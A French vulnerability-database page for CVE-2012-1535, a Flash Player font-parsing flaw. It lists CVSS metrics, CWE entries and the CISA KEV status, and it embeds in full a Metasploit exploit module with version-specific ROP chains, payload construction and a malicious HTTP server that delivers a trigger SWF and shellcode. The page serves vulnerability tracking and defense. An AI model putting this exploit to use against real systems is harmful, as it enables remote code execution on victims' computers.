CVE-2012-1535 : Détail

CVE-2012-1535

7.8
/
Haute
Code Injection
A03-Injection
96.7%V3
Local
2012-08-15
10h00 +00:00
2025-02-07
14h14 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Unspecified vulnerability in Adobe Flash Player before 11.3.300.271 on Windows and Mac OS X and before 11.2.202.238 on Linux allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via crafted SWF content, as exploited in the wild in August 2012 with SWF content in a Word document.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE Other No informations.
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Adobe Flash Player Arbitrary Code Execution Vulnerability

Action requise : The impacted product is end-of-life and should be disconnected if still in use.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2022-03-02 23h00 +00:00

Action attendue : 2022-03-23 23h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 20624

Date de publication : 2012-08-19 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "Adobe Flash Player 11.3 Font Parsing Code Execution", 'Description' => %q{ This module exploits a vulnerability found in the ActiveX component of Adobe Flash Player before 11.3.300.271. By supplying a corrupt Font file used by the SWF, it is possible to gain arbitrary remote code execution under the context of the user, as exploited in the wild. }, 'License' => MSF_LICENSE, 'Author' => [ 'Alexander Gavrun', #Through iDefense 'sinn3r', 'juan vazquez' ], 'References' => [ [ 'CVE', '2012-1535' ], [ 'OSVDB', '84607'], [ 'BID', '55009'], [ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ], [ 'URL', 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ], [ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ] ], 'Payload' => { 'Space' => 1024 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # Tested successfully on: # Flash 11.3.300.268 # Flash 11.3.300.265 # Flash 11.3.300.257 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => nil } ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => true } ] ], 'Privileged' => false, 'DisclosureDate' => "Aug 9 2012", 'DefaultTarget' => 0)) register_options( [ OptEnum.new('ROP', [true, "The ROP chain to use", 'SWF', %w(SWF JRE)]), ], self.class) end def nop return make_nops(4).unpack("L")[0].to_i end def get_payload(t, flash_version=nil) if t['Rop'].nil? p = [ 0x0c0c0c0c, # mapped at 1e0d0000 0x0c0c0c0c, 0x0c0c0c0c, # mapped at 1e0d0008 ].pack("V*") p << payload.encoded else if datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/ print_status("Using Rop Chain For Flash: #{flash_version}") stack_pivot = [ 0x10004171, # POP EDI # POP ESI # RETN (1e0d0000) 0x0c0c0c0c, 0x1001d891, # xchg eax, esp # ret (1e0d0008) ].pack("V*") rop = [ 0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx) 0x106e3384, # <- *&VirtualProtect() 0x1029de2f, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_257.ocx) 0x106add37, # XCHG EAX,ESI # RETN (Flash32_11_3_300_257.ocx) 0x1064e000, # POP EBP # RETN (Flash32_11_3_300_257.ocx) 0x10175c57, # ptr to 'jmp esp' (from Flash32_11_3_300_257.ocx) 0x106a4010, # POP EBX # RETN (Flash32_11_3_300_257.ocx) 0x00000201, # <- change size to mark as executable if needed (-> ebx) 0x104de800, # POP ECX # RETN (Flash32_11_3_300_257.ocx) 0x10955000, # W pointer (lpOldProtect) (-> ecx) 0x10649003, # POP EDI # RETN (Flash32_11_3_300_257.ocx) 0x10649004, # ROP NOP (-> edi) 0x10649987, # POP EDX # RETN (Flash32_11_3_300_257.ocx) 0x00000040, # newProtect (0x40) (-> edx) 0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx) nop, # NOPS (-> eax) 0x1060e809, # PUSHAD # RETN (Flash32_11_3_300_257.ocx) ].pack("V*") elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/ print_status("Using Rop Chain For Flash: #{flash_version}") stack_pivot = [ 0x10004171, # POP EDI # POP ESI # RETN (1e0d0000) 0x0c0c0c0c, 0x1001d6d3, # xchg eax, esp # ret (1e0d0008) ].pack("V*") rop = [ 0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx) 0x106e338c, # <- *&VirtualProtect() 0x1029ea04, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_265.ocx) 0x103d60b8, # XCHG EAX,ESI # RETN (Flash32_11_3_300_265.ocx) 0x105cc000, # POP EBP # RETN (Flash32_11_3_300_265.ocx) 0x1001c5cd, # ptr to 'jmp esp' (from Flash32_11_3_300_265.ocx) 0x10398009, # POP EBX # RETN (Flash32_11_3_300_265.ocx) 0x00000201, # <- change size to mark as executable if needed (-> ebx) 0x10434188, # POP ECX # RETN (Flash32_11_3_300_265.ocx) 0x10955000, # W pointer (lpOldProtect) (-> ecx) 0x105c1811, # POP EDI # RETN (Flash32_11_3_300_265.ocx) 0x105c1812, # ROP NOP (-> edi) 0x10650602, # POP EDX # RETN (Flash32_11_3_300_265.ocx) 0x00000040, # newProtect (0x40) (-> edx) 0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx) nop, # NOPS (-> eax) 0x1062800f, # PUSHAD # RETN (Flash32_11_3_300_265.ocx) ].pack("V*") elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/ print_status("Using Rop Chain For Flash: #{flash_version}") stack_pivot = [ 0x10004171, # POP EDI # POP ESI # RETN (1e0d0000) 0x0c0c0c0c, 0x1001d755, # xchg eax, esp # ret (1e0d0008) ].pack("V*") rop = [ 0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx) 0x106e438c, # <- *&VirtualProtect() 0x10198e00, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_268.ocx) 0x106ddf15, # XCHG EAX,ESI # RETN (Flash32_11_3_300_268.ocx) 0x1035f000, # POP EBP # RETN (Flash32_11_3_300_268.ocx) 0x10175c28, # ptr to 'jmp esp' (from Flash32_11_3_300_268.ocx) 0x105e0013, # POP EBX # RETN (Flash32_11_3_300_268.ocx) 0x00000201, # <- change size to mark as executable if needed (-> ebx) 0x10593801, # POP ECX # RETN (Flash32_11_3_300_268.ocx) 0x1083c000, # RW pointer (lpOldProtect) (-> ecx) 0x10308b0e, # POP EDI # RETN (Flash32_11_3_300_268.ocx) 0x10308b0f, # ROP NOP (-> edi) 0x10663a00, # POP EDX # RETN (Flash32_11_3_300_268.ocx) 0x00000040, # newProtect (0x40) (-> edx) 0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx) nop, # NOPS (-> eax) 0x1069120b, # PUSHAD # RETN (Flash32_11_3_300_268.ocx) ].pack("V*") else print_status("Default back to JRE ROP") stack_pivot = [ 0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000) 0x0c0c0c0c, 0x7c348b05, # xchg eax, esp # ret (1e0d0008) ].pack("V*") rop = [ 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0x00001000, # (dwSize) 0x7c347f98, # RETN (ROP NOP) 0x7c3415a2, # JMP [EAX] 0xffffffff, 0x7c376402, # skip 4 bytes 0x7c345255, # INC EBX # FPATAN # RETN 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN 0x7c344f87, # POP EDX # RETN 0x00000040, # flNewProtect 0x7c34d201, # POP ECX # RETN 0x7c38b001, # &Writable location 0x7c347f97, # POP EAX # RETN 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN 0x7c345c30, # ptr to 'push esp # ret ' ].pack("V*") end p = stack_pivot p << rop p << payload.encoded end return p end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] #IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2] #IE 7 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[3] #IE 8 on Windows XP SP3 else return nil end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] print_status("User-agent: #{agent}") my_target = get_target(agent) print_status("Client requesting: #{request.uri}") # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent}") send_not_found(cli) return end # The SWF request itself if request.uri =~ /\.swf$/ print_status("Sending SWF") send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'}) return end # The TXT payload request if request.uri =~ /\.txt$/ flash_version = request.headers['x-flash-version'] shellcode = get_payload(my_target, flash_version).unpack('H*')[0] print_status("Sending Payload") send_response(cli, shellcode, { 'Content-Type' => 'text/plain' }) return end swf_uri = get_resource() + Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf" html = %Q| <html> <head> </head> <body> <object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}"> <param name="movie" value="#{swf_uri}"> </object> </body> </html> | html = html.gsub(/^\t\t/, '') # we need to handle direct /pay.txt requests proc = Proc.new do |cli, req| on_request_uri(cli, req) end add_resource({'Path' => "/pay.txt", 'Proc' => proc}) rescue nil print_status("Sending HTML") send_response(cli, html, {'Content-Type'=>'text/html'}) end def exploit @swf = create_swf print_status("SWF Loaded: #{@swf.length.to_s} bytes") super end def create_swf path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1535", "trigger.swf" ) fd = ::File.open( path, "rb" ) swf = fd.read(fd.stat.size) fd.close return swf end def cleanup vprint_status("Removing txt resource") remove_resource('/pay.txt') rescue nil super end end

Products Mentioned

Configuraton 0

Adobe>>Flash_player >> Version To (excluding) 11.3.300.271

Apple>>Mac_os_x >> Version -

Microsoft>>Windows >> Version -

Configuraton 0

Adobe>>Flash_player >> Version To (excluding) 11.2.202.238

Linux>>Linux_kernel >> Version -

Configuraton 0

Redhat>>Enterprise_linux_desktop >> Version 5.0

Redhat>>Enterprise_linux_server >> Version 5.0

Redhat>>Enterprise_linux_workstation >> Version 5.0

Configuraton 0

Opensuse>>Opensuse >> Version 11.4

Opensuse>>Opensuse >> Version 12.1

Suse>>Linux_enterprise_desktop >> Version 10

Références

http://rhn.redhat.com/errata/RHSA-2012-1203.html
Tags : vendor-advisory, x_refsource_REDHAT
http://security.gentoo.org/glsa/glsa-201209-01.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://marc.info/?l=bugtraq&m=139455789818399&w=2
Tags : vendor-advisory, x_refsource_HP